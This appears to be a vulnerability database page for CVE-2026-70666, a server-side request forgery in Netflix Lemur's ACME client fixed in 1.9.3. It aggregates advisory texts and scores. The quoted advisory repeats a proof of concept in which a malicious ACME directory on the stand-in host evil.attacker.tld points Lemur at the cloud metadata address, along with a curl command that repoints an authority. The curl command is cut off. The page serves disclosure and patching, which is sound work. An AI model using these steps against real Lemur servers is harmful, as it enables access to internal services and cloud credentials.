CVE-2026-70666
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.4
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.
- Record
CVE-2026-70666- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-61155
7.4
Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.
- Record
EUVD-2026-61155- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xpmj-wjcp-6pww
7.4
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)
AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."
Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
get_directory(acme_url)-> server returnsnewNonce,newOrder,revokeCert,keyChangeURLs.new_order()-> server returnsfinalizeandauthorizationsURLs.poll(),finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URL
Steps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"[email protected]",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
…
- Record
GHSA-xpmj-wjcp-6pww- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
7.4
Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.
- Record
CVE-2026-70666- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
7.4
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Lemur manages TLS certificate creation. Prior to 1.9.3, an authority-role member could update acme_url through PUT /api/1/authorities/ without revalidation and direct setup_acme_client_no_retry to an attacker-controlled ACME server. ACME directory and order responses contain newNonce, newOrder, authorizations, and finalize URLs chosen by that server. The Lemur ClientV2 followed those URLs without requiring their host to match the configured directory host, allowing JWS-signed requests to internal services or cloud metadata endpoints. The issue required an ACME authority and a user authorized for that authority, but did not require global administrator privileges. The fix revalidates updates and introduces _PinnedClientNetwork to enforce a single allowed host for the complete ACME flow. This issue is fixed in version 1.9.3.
- Record
CVE-2026-70666- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-xpmj-wjcp-6pww
7.4
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)
AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."
Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
get_directory(acme_url)-> server returnsnewNonce,newOrder,revokeCert,keyChangeURLs.new_order()-> server returnsfinalizeandauthorizationsURLs.poll(),finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URL
Steps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"[email protected]",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
…
- Record
GHSA-xpmj-wjcp-6pww- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-3680
7.4
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)
AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."
Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
get_directory(acme_url)-> server returnsnewNonce,newOrder,revokeCert,keyChangeURLs.new_order()-> server returnsfinalizeandauthorizationsURLs.poll(),finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URL
Steps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"[email protected]",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
…
- Record
PYSEC-2026-3680- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-70666 is a high vulnerability (CVSS 7.4) in Netflix Lemur, published August 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. Fixed in lemur 1.9.3.
References
github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww
github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050
github.com/Netflix/lemur/releases/tag/v1.9.3
github.com/advisories/GHSA-xpmj-wjcp-6pww
github.com/CVEProject/cvelistV5/tree/main/cves/2026/70xxx/CVE-2026-70666.json
nvd.nist.gov/vuln/detail/CVE-2026-70666
github.com/Netflix/lemur
pypi.org/project/lemur
Left out here: the rest of 3 source descriptions. The JSON record has them.